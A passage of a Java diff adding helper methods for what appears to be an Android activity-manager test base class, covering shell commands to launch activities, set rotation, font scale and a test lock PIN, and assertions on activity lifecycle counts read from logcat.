+ protected Context mContext;
+ protected ActivityManager mAm;
+ protected UiDevice mDevice;
+
+ private boolean mLockCredentialsSet;
+
+ private boolean mLockDisabled;
+
+ protected static String getAmStartCmd(final String activityName) {
+ return "am start -n " + getActivityComponentName(activityName);
+ }
+
+ /**
+ * @return the am command to start the given activity with the following extra key/value pairs.
+ * {@param keyValuePairs} must be a list of arguments defining each key/value extra.
+ */
+ protected static String getAmStartCmd(final String activityName,
+ final String... keyValuePairs) {
+ String base = getAmStartCmd(activityName);
+ if (keyValuePairs.length % 2 != 0) {
+ throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
+ }
+ for (int i = 0; i < keyValuePairs.length; i += 2) {
+ base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
+ }
+ return base;
+ }
+
+ protected static String getAmStartCmd(final String activityName, final int displayId) {
+ return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+ + " --display " + displayId;
+ }
+
+ protected static String getAmStartCmdInNewTask(final String activityName) {
+ return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000";
+ }
+
+ protected static String getAmStartCmdOverHome(final String activityName) {
+ return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
+ }
+
+ protected static String getMoveToPinnedStackCommand(int stackId) {
+ return String.format(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND_FORMAT, stackId);
+ }
+
+ protected static String getOrientationBroadcast(int orientation) {
+ return "am broadcast -a trigger_broadcast --ei orientation " + orientation;
+ }
+
+ // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+ static String getActivityComponentName(final String activityName) {
+ return getActivityComponentName(componentName, activityName);
+ }
+
+ private static boolean isFullyQualifiedActivityName(String name) {
+ return name != null && name.contains(".");
+ }
+
+ static String getActivityComponentName(final String packageName, final String activityName) {
+ return packageName + "/" + (isFullyQualifiedActivityName(activityName) ? "" : ".") +
+ activityName;
+ }
+
+ // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+ // A little ugly, but lets avoid having to strip static everywhere for
+ // now.
+ public static void setComponentName(String name) {
+ componentName = name;
+ }
+
+ protected static void setDefaultComponentName() {
+ setComponentName(DEFAULT_COMPONENT_NAME);
+ }
+
+ protected static String getBaseWindowName() {
+ return getBaseWindowName(componentName);
+ }
+
+ static String getBaseWindowName(final String packageName) {
+ return getBaseWindowName(packageName, true /*prependPackageName*/);
+ }
+
+ static String getBaseWindowName(final String packageName, boolean prependPackageName) {
+ return packageName + "/" + (prependPackageName ? packageName + "." : "");
+ }
+
+ // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+ static String getWindowName(final String activityName) {
+ return getWindowName(componentName, activityName);
+ }
+
+ static String getWindowName(final String packageName, final String activityName) {
+ return getBaseWindowName(packageName, !isFullyQualifiedActivityName(activityName))
+ + activityName;
+ }
+
+ protected ActivityAndWindowManagersState mAmWmState = new ActivityAndWindowManagersState();
+
+ private int mInitialAccelerometerRotation;
+ private int mUserRotation;
+ private float mFontScale;
+
+ private SurfaceTraceReceiver mSurfaceTraceReceiver;
+ private Thread mSurfaceTraceThread;
+
+ protected void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
+ mSurfaceTraceReceiver = new SurfaceTraceReceiver(observer);
+ mSurfaceTraceThread = new Thread() {
+ @Override
+ public void run() {
+ try {
+ registerSurfaceTraceReceiver("wm surface-trace", mSurfaceTraceReceiver);
+ } catch (IOException e) {
+ logE("Error running wm surface-trace: " + e.toString());
+ }
+ }
+ };
+ mSurfaceTraceThread.start();
+ }
+
+ protected void removeSurfaceObserver() {
+ mSurfaceTraceThread.interrupt();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ mAm = mContext.getSystemService(ActivityManager.class);
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ setDefaultComponentName();
+ executeShellCommand("pm grant " + mContext.getPackageName()
+ + " android.permission.MANAGE_ACTIVITY_STACKS");
+ executeShellCommand("pm grant " + mContext.getPackageName()
+ + " android.permission.ACTIVITY_EMBEDDING");
+
+ wakeUpAndUnlockDevice();
+ pressHomeButton();
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ // Store rotation settings.
+ mInitialAccelerometerRotation = getAccelerometerRotation();
+ mUserRotation = getUserRotation();
+ mFontScale = getFontScale();
+ mLockCredentialsSet = false;
+ mLockDisabled = isLockDisabled();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ setLockDisabled(mLockDisabled);
+ executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
+ executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
+ executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
+ // Restore rotation settings to the state they were before test.
+ setAccelerometerRotation(mInitialAccelerometerRotation);
+ setUserRotation(mUserRotation);
+ setFontScale(mFontScale);
+ setWindowTransitionAnimationDurationScale(1);
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ wakeUpAndUnlockDevice();
+ pressHomeButton();
+ }
+
+ protected void removeStacksWithActivityTypes(int... activityTypes) {
+ mAm.removeStacksWithActivityTypes(activityTypes);
+ }
+
+ protected void removeStacksInWindowingModes(int... windowingModes) {
+ mAm.removeStacksInWindowingModes(windowingModes);
+ waitForIdle();
+ }
+
+ public static String executeShellCommand(String command) {
+ log("Shell command: " + command);
+ try {
+ return SystemUtil
+ .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ } catch (IOException e) {
+ //bubble it up
+ logE("Error running shell command: " + command);
+ throw new RuntimeException(e);
+ }
+ }
+
+ protected static void registerSurfaceTraceReceiver(String command, SurfaceTraceReceiver outputReceiver)
+ throws IOException {
+ log("Shell command: " + command);
+ ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(command);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ while ((bytesRead = fis.read(buf)) != -1) {
+ outputReceiver.addOutput(buf, 0, bytesRead);
+ }
+ fis.close();
+ }
+
+ protected Bitmap takeScreenshot() throws Exception {
+ return InstrumentationRegistry.getInstrumentation().getUiAutomation().takeScreenshot();
+ }
+
+ @Deprecated
+ protected void launchActivityInComponent(final String componentName,
+ final String targetActivityName, final String... keyValuePairs) throws Exception {
+ final String originalComponentName = ActivityManagerTestBase.componentName;
+ setComponentName(componentName);
+ launchActivity(targetActivityName, keyValuePairs);
+ setComponentName(originalComponentName);
+ }
+
+ @Deprecated
+ protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
+ throws Exception {
+ executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
+ mAmWmState.waitForValidState(targetActivityName);
+ }
+
+ @Deprecated
+ protected void launchActivityNoWait(final String targetActivityName,
+ final String... keyValuePairs) throws Exception {
+ executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
+ }
+
+ @Deprecated
+ protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
+ executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
+ mAmWmState.waitForValidState(targetActivityName);
+ }
+
+ /**
+ * Starts an activity in a new stack.
+ * @return the stack id of the newly created stack.
+ */
+ @Deprecated
+ protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
+ HashSet<Integer> stackIds = getStackIds();
+ executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
+ + " " + getActivityComponentName(activityName));
+ HashSet<Integer> newStackIds = getStackIds();
+ newStackIds.removeAll(stackIds);
+ if (newStackIds.isEmpty()) {
+ return INVALID_STACK_ID;
+ } else {
+ assertTrue(newStackIds.size() == 1);
+ return newStackIds.iterator().next();
+ }
+ }
+
+ private void waitForIdle() {
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ }
+
+ /** Returns the set of stack ids. */
+ private HashSet<Integer> getStackIds() throws Exception {
+ mAmWmState.computeState();
+ final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
+ final HashSet<Integer> stackIds = new HashSet<>();
+ for (ActivityManagerState.ActivityStack s : stacks) {
+ stackIds.add(s.mStackId);
+ }
+ return stackIds;
+ }
+
+ protected void launchHomeActivity()
+ throws Exception {
+ executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
+ mAmWmState.waitForHomeActivityVisible();
+ }
+
+ protected void launchActivityOnDisplay(String targetActivityName, int displayId)
+ throws Exception {
+ executeShellCommand(getAmStartCmd(targetActivityName, displayId));
+
+ mAmWmState.waitForValidState(targetActivityName);
+ }
+
+ /**
+ * Launch specific target activity. It uses existing instance of {@link #LAUNCHING_ACTIVITY}, so
+ * that one should be started first.
+ * @param toSide Launch to side in split-screen.
+ * @param randomData Make intent URI random by generating random data.
+ * @param multipleTask Allow multiple task launch.
+ * @param targetActivityName Target activity to be launched. Only class name should be provided,
+ * package name of {@link #LAUNCHING_ACTIVITY} will be added
+ * automatically.
+ * @param displayId Display id where target activity should be launched.
+ */
+ protected void launchActivityFromLaunching(boolean toSide, boolean randomData,
+ boolean multipleTask, String targetActivityName, int displayId) throws Exception {
+ StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(LAUNCHING_ACTIVITY));
+ commandBuilder.append(" -f 0x20000000");
+ if (toSide) {
+ commandBuilder.append(" --ez launch_to_the_side true");
+ }
+ if (randomData) {
+ commandBuilder.append(" --ez random_data true");
+ }
+ if (multipleTask) {
+ commandBuilder.append(" --ez multiple_task true");
+ }
+ if (targetActivityName != null) {
+ commandBuilder.append(" --es target_activity ").append(targetActivityName);
+ }
+ if (displayId != INVALID_DISPLAY_ID) {
+ commandBuilder.append(" --ei display_id ").append(displayId);
+ }
+ executeShellCommand(commandBuilder.toString());
+
+ mAmWmState.waitForValidState(targetActivityName);
+ }
+
+ protected void launchActivity(String activityName, int windowingMode,
+ final String... keyValuePairs) throws Exception {
+ executeShellCommand(getAmStartCmd(activityName, keyValuePairs)
+ + " --windowingMode " + windowingMode);
+ mAmWmState.waitForValidState(new WaitForValidActivityState.Builder()
+ .setActivityName(activityName)
+ .setWindowingMode(windowingMode)
+ .build());
+ }
+
+ @Deprecated
+ protected void launchActivityInDockStack(String activityName) throws Exception {
+ launchActivityInDockStack(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
+ }
+
+ @Deprecated
+ protected void launchActivityInDockStack(String activityName, int createMode)
+ throws Exception {
+ launchActivity(activityName);
+ final int taskId = getActivityTaskId(activityName);
+ mAm.setTaskWindowingModeSplitScreenPrimary(taskId, createMode, true /* onTop */,
+ false /* animate */, null /* initialBounds */, false /* showRecents */);
+
+ mAmWmState.waitForValidState(activityName,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
+ String targetActivity) throws Exception {
+ final String activityToLaunch = targetActivity != null ? targetActivity : "TestActivity";
+ getLaunchActivityBuilder().setToSide(true).setRandomData(randomData)
+ .setMultipleTask(multipleTaskFlag).setTargetActivityName(activityToLaunch)
+ .execute();
+
+ mAmWmState.waitForValidState(activityToLaunch,
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ protected void setActivityTaskWindowingMode(String activityName, int windowingMode)
+ throws Exception {
+ final int taskId = getActivityTaskId(activityName);
+ mAm.setTaskWindowingMode(taskId, windowingMode, true /* toTop */);
+ mAmWmState.waitForValidState(activityName, windowingMode, ACTIVITY_TYPE_STANDARD);
+ }
+
+ protected void moveActivityToStack(String activityName, int stackId) throws Exception {
+ final int taskId = getActivityTaskId(activityName);
+ final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
+ executeShellCommand(cmd);
+
+ mAmWmState.waitForValidState(activityName, stackId);
+ }
+
+ protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
+ throws Exception {
+ final int taskId = getActivityTaskId(activityName);
+ final String cmd = "am task resize "
+ + taskId + " " + left + " " + top + " " + right + " " + bottom;
+ executeShellCommand(cmd);
+ }
+
+ protected void resizeDockedStack(
+ int stackWidth, int stackHeight, int taskWidth, int taskHeight) {
+ executeShellCommand(AM_RESIZE_DOCKED_STACK
+ + "0 0 " + stackWidth + " " + stackHeight
+ + " 0 0 " + taskWidth + " " + taskHeight);
+ }
+
+ protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
+ int stackHeight) {
+ executeShellCommand(AM_RESIZE_STACK + String.format("%d %d %d %d %d", stackId, stackLeft,
+ stackTop, stackWidth, stackHeight));
+ }
+
+ protected void pressHomeButton() {
+ mDevice.pressHome();
+ }
+
+ protected void pressBackButton() {
+ mDevice.pressBack();
+ }
+
+ protected void pressAppSwitchButton() throws Exception {
+ mDevice.pressKeyCode(KEYCODE_APP_SWITCH);
+ mAmWmState.waitForRecentsActivityVisible();
+ mAmWmState.waitForAppTransitionIdle();
+ }
+
+ // Utility method for debugging, not used directly here, but useful, so kept around.
+ protected void printStacksAndTasks() {
+ String output = executeShellCommand(AM_STACK_LIST);
+ for (String line : output.split("\\n")) {
+ log(line);
+ }
+ }
+
+ protected int getActivityTaskId(String name) {
+ String output = executeShellCommand(AM_STACK_LIST);
+ final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
+ for (String line : output.split("\\n")) {
+ Matcher matcher = activityPattern.matcher(line);
+ if (matcher.matches()) {
+ for (String word : line.split("\\s+")) {
+ if (word.startsWith(TASK_ID_PREFIX)) {
+ final String withColon = word.split("=")[1];
+ return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+ }
+ }
+ }
+ }
+ return -1;
+ }
+
+ protected boolean supportsVrMode() {
+ return hasDeviceFeature(FEATURE_VR_MODE)
+ && hasDeviceFeature(FEATURE_VR_MODE_HIGH_PERFORMANCE);
+ }
+
+ protected boolean supportsPip() {
+ return hasDeviceFeature(FEATURE_PICTURE_IN_PICTURE)
+ || PRETEND_DEVICE_SUPPORTS_PIP;
+ }
+
+ protected boolean supportsFreeform() {
+ return hasDeviceFeature(FEATURE_FREEFORM_WINDOW_MANAGEMENT)
+ || PRETEND_DEVICE_SUPPORTS_FREEFORM;
+ }
+
+ protected boolean isHandheld() {
+ return !hasDeviceFeature(FEATURE_LEANBACK)
+ && !hasDeviceFeature(FEATURE_WATCH)
+ && !hasDeviceFeature(FEATURE_EMBEDDED);
+ }
+
+ protected boolean isTablet() {
+ // Larger than approx 7" tablets
+ return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
+ }
+
+ // TODO: Switch to using a feature flag, when available.
+ protected boolean isUiModeLockedToVrHeadset() {
+ final String output = runCommandAndPrintOutput("dumpsys uimode");
+
+ Integer curUiMode = null;
+ Boolean uiModeLocked = null;
+ for (String line : output.split("\\n")) {
+ line = line.trim();
+ Matcher matcher = sCurrentUiModePattern.matcher(line);
+ if (matcher.find()) {
+ curUiMode = Integer.parseInt(matcher.group(1), 16);
+ }
+ matcher = sUiModeLockedPattern.matcher(line);
+ if (matcher.find()) {
+ uiModeLocked = matcher.group(1).equals("true");
+ }
+ }
+
+ boolean uiModeLockedToVrHeadset = (curUiMode != null) && (uiModeLocked != null)
+ && ((curUiMode & UI_MODE_TYPE_MASK) == UI_MODE_TYPE_VR_HEADSET) && uiModeLocked;
+
+ if (uiModeLockedToVrHeadset) {
+ log("UI mode is locked to VR headset");
+ }
+
+ return uiModeLockedToVrHeadset;
+ }
+
+ protected boolean supportsSplitScreenMultiWindow() {
+ return ActivityManager.supportsSplitScreenMultiWindow(mContext);
+ }
+
+ protected boolean hasHomeScreen() {
+ if (sHasHomeScreen == null) {
+ sHasHomeScreen = !executeShellCommand(AM_NO_HOME_SCREEN).startsWith("true");
+ }
+ return sHasHomeScreen;
+ }
+
+ /**
+ * Rotation support is indicated by explicitly having both landscape and portrait
+ * features or not listing either at all.
+ */
+ protected boolean supportsRotation() {
+ final boolean supportsLandscape = hasDeviceFeature(FEATURE_SCREEN_LANDSCAPE);
+ final boolean supportsPortrait = hasDeviceFeature(FEATURE_SCREEN_PORTRAIT);
+ return (supportsLandscape && supportsPortrait)
+ || (!supportsLandscape && !supportsPortrait);
+ }
+
+ protected boolean hasDeviceFeature(final String requiredFeature) {
+ return InstrumentationRegistry.getContext()
+ .getPackageManager()
+ .hasSystemFeature(requiredFeature);
+ }
+
+ protected boolean isDisplayOn() {
+ String output = executeShellCommand("dumpsys power");
+ for (String line : output.split("\\n")) {
+ line = line.trim();
+
+ final Matcher matcher = sDisplayStatePattern.matcher(line);
+ if (matcher.matches()) {
+ final String state = matcher.group(1);
+ log("power state=" + state);
+ return "ON".equals(state);
+ }
+ }
+ log("power state :(");
+ return false;
+ }
+
+ protected void sleepDevice() {
+ int retriesLeft = 5;
+ runCommandAndPrintOutput("input keyevent SLEEP");
+ do {
+ if (isDisplayOn()) {
+ log("***Waiting for display to turn off...");
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ }
+
+ protected void wakeUpAndUnlockDevice() {
+ wakeUpDevice();
+ unlockDevice();
+ }
+
+ protected void wakeUpAndRemoveLock() {
+ wakeUpDevice();
+ setLockDisabled(true);
+ }
+
+ protected void wakeUpDevice() {
+ runCommandAndPrintOutput("input keyevent WAKEUP");
+ }
+
+ protected void unlockDevice() {
+ mDevice.pressMenu();
+ }
+
+ protected void unlockDeviceWithCredential() throws Exception {
+ mDevice.pressMenu();
+ try {
+ Thread.sleep(3000);
+ } catch (InterruptedException e) {
+ //ignored
+ }
+ enterAndConfirmLockCredential();
+ }
+
+ protected void enterAndConfirmLockCredential() throws Exception {
+ mDevice.waitForIdle(3000);
+
+ runCommandAndPrintOutput("input text " + LOCK_CREDENTIAL);
+ mDevice.pressEnter();
+ }
+
+ protected void gotoKeyguard() throws Exception {
+ sleepDevice();
+ wakeUpDevice();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ }
+
+ protected void setLockCredential() {
+ mLockCredentialsSet = true;
+ runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
+ }
+
+ protected void removeLockCredential() {
+ runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
+ }
+
+ /**
+ * Returns whether the lock screen is disabled.
+ * @return true if the lock screen is disabled, false otherwise.
+ */
+ private boolean isLockDisabled() {
+ final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
+ if ("null".equals(isLockDisabled)) {
+ return false;
+ }
+ return Boolean.parseBoolean(isLockDisabled);
+
+ }
+
+ /**
+ * Disable the lock screen.
+ * @param lockDisabled true if should disable, false otherwise.
+ */
+ void setLockDisabled(boolean lockDisabled) {
+ runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
+ }
+
+ /**
+ * Sets the device rotation, value corresponds to one of {@link Surface#ROTATION_0},
+ * {@link Surface#ROTATION_90}, {@link Surface#ROTATION_180}, {@link Surface#ROTATION_270}.
+ */
+ protected void setDeviceRotation(int rotation) throws Exception {
+ setAccelerometerRotation(0);
+ setUserRotation(rotation);
+ mAmWmState.waitForRotation(rotation);
+ }
+
+ protected int getDeviceRotation(int displayId) {
+ final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
+ Pattern pattern = Pattern.compile(
+ "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
+ + "(rotation)(\\s+)(\\d+)");
+ Matcher matcher = pattern.matcher(displays);
+ while (matcher.find()) {
+ final String match = matcher.group(7);
+ return Integer.parseInt(match);
+ }
+
+ return INVALID_DEVICE_ROTATION;
+ }
+
+ private int getAccelerometerRotation() {
+ final String rotation =
+ runCommandAndPrintOutput("settings get system accelerometer_rotation");
+ return Integer.parseInt(rotation.trim());
+ }
+
+ private void setAccelerometerRotation(int rotation) {
+ runCommandAndPrintOutput(
+ "settings put system accelerometer_rotation " + rotation);
+ }
+
+ protected int getUserRotation() {
+ final String rotation =
+ runCommandAndPrintOutput("settings get system user_rotation").trim();
+ if ("null".equals(rotation)) {
+ return -1;
+ }
+ return Integer.parseInt(rotation);
+ }
+
+ private void setUserRotation(int rotation) {
+ if (rotation == -1) {
+ runCommandAndPrintOutput(
+ "settings delete system user_rotation");
+ } else {
+ runCommandAndPrintOutput(
+ "settings put system user_rotation " + rotation);
+ }
+ }
+
+ protected void setFontScale(float fontScale) {
+ if (fontScale == 0.0f) {
+ runCommandAndPrintOutput(
+ "settings delete system font_scale");
+ } else {
+ runCommandAndPrintOutput(
+ "settings put system font_scale " + fontScale);
+ }
+ }
+
+ protected void setWindowTransitionAnimationDurationScale(float animDurationScale) {
+ runCommandAndPrintOutput(
+ "settings put global transition_animation_scale " + animDurationScale);
+ }
+
+ protected float getFontScale() {
+ try {
+ final String fontScale =
+ runCommandAndPrintOutput("settings get system font_scale").trim();
+ return Float.parseFloat(fontScale);
+ } catch (NumberFormatException e) {
+ // If we don't have a valid font scale key, return 0.0f now so
+ // that we delete the key in tearDown().
+ return 0.0f;
+ }
+ }
+
+ protected String runCommandAndPrintOutput(String command) {
+ final String output = executeShellCommand(command);
+ log(output);
+ return output;
+ }
+
+ /**
+ * Tries to clear logcat and inserts log separator in case clearing didn't succeed, so we can
+ * always find the starting point from where to evaluate following logs.
+ * @return Unique log separator.
+ */
+ protected String clearLogcat() {
+ executeShellCommand("logcat -c");
+ final String uniqueString = UUID.randomUUID().toString();
+ executeShellCommand("log -t " + LOG_SEPARATOR + " " + uniqueString);
+ return uniqueString;
+ }
+
+ void assertActivityLifecycle(String activityName, boolean relaunched,
+ String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = verifyLifecycleCondition(activityName, logSeparator, relaunched);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+ private String verifyLifecycleCondition(String activityName, String logSeparator,
+ boolean relaunched) {
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+ if (relaunched) {
+ if (lifecycleCounts.mDestroyCount < 1) {
+ return activityName + " must have been destroyed. mDestroyCount="
+ + lifecycleCounts.mDestroyCount;
+ }
+ if (lifecycleCounts.mCreateCount < 1) {
+ return activityName + " must have been (re)created. mCreateCount="
+ + lifecycleCounts.mCreateCount;
+ }
+ } else {
+ if (lifecycleCounts.mDestroyCount > 0) {
+ return activityName + " must *NOT* have been destroyed. mDestroyCount="
+ + lifecycleCounts.mDestroyCount;
+ }
+ if (lifecycleCounts.mCreateCount > 0) {
+ return activityName + " must *NOT* have been (re)created. mCreateCount="
+ + lifecycleCounts.mCreateCount;
+ }
+ if (lifecycleCounts.mConfigurationChangedCount < 1) {
+ return activityName + " must have received configuration changed. "
+ + "mConfigurationChangedCount="
+ + lifecycleCounts.mConfigurationChangedCount;
+ }
+ }
+ return null;
+ }
+
+ protected void assertRelaunchOrConfigChanged(
+ String activityName, int numRelaunch, int numConfigChange, String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = verifyRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange,
+ logSeparator);
+ if (resultString != null) {
+ log("***Waiting for relaunch or config changed: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+ private String verifyRelaunchOrConfigChanged(String activityName, int numRelaunch,
+ int numConfigChange, String logSeparator) {
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+
+ if (lifecycleCounts.mDestroyCount != numRelaunch) {
+ return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
+ + " time(s), expecting " + numRelaunch;
+ } else if (lifecycleCounts.mCreateCount != numRelaunch) {
+ return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
+ + " time(s), expecting " + numRelaunch;
+ } else if (lifecycleCounts.mConfigurationChangedCount != numConfigChange) {
+ return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+ + " onConfigurationChanged() calls, expecting " + numConfigChange;
+ }
+ return null;
+ }
+
+ protected void assertActivityDestroyed(String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = verifyActivityDestroyed(activityName, logSeparator);
+ if (resultString != null) {
+ log("***Waiting for activity destroyed: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+ private String verifyActivityDestroyed(String activityName, String logSeparator) {
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+
+ if (lifecycleCounts.mDestroyCount != 1) {
+ return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
+ + " time(s), expecting single destruction.";
+ } else if (lifecycleCounts.mCreateCount != 0) {
+ return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
+ + " time(s), not expecting any.";
+ } else if (lifecycleCounts.mConfigurationChangedCount != 0) {
+ return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+ + " onConfigurationChanged() calls, not expecting any.";
+ }
+ return null;
+ }
+
+ protected String[] getDeviceLogsForComponent(String componentName, String logSeparator) {
+ return getDeviceLogsForComponents(new String[]{componentName}, logSeparator);
+ }
+
+ protected String[] getDeviceLogsForComponents(final String[] componentNames,
+ String logSeparator) {
+ String filters = LOG_SEPARATOR + ":I ";
+ for (String component : componentNames) {
+ filters += component + ":I ";
+ }
+ final String[] result = executeShellCommand("logcat -v brief -d " + filters + " *:S")
+ .split("\\n");
+ if (logSeparator == null) {
+ return result;
+ }
+
+ // Make sure that we only check logs after the separator.
+ int i = 0;
+ boolean lookingForSeparator = true;
+ while (i < result.length && lookingForSeparator) {
+ if (result[i].contains(logSeparator)) {
+ lookingForSeparator = false;
+ }
+ i++;
+ }
+ final String[] filteredResult = new String[result.length - i];
+ for (int curPos = 0; i < result.length; curPos++, i++) {
+ filteredResult[curPos] = result[i];
+ }
+ return filteredResult;
+ }
+
+ void assertSingleLaunch(String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ public void assertSingleLaunchAndStop(String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ public void assertSingleStartAndStop(String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ void assertSingleStart(String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ private String validateLifecycleCounts(String activityName, String logSeparator,
+ int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
+ int destroyCount) {
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+
+ if (lifecycleCounts.mCreateCount != createCount) {
+ return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
+ }
+ if (lifecycleCounts.mStartCount != startCount) {
+ return activityName + " started " + lifecycleCounts.mStartCount + " times.";
+ }
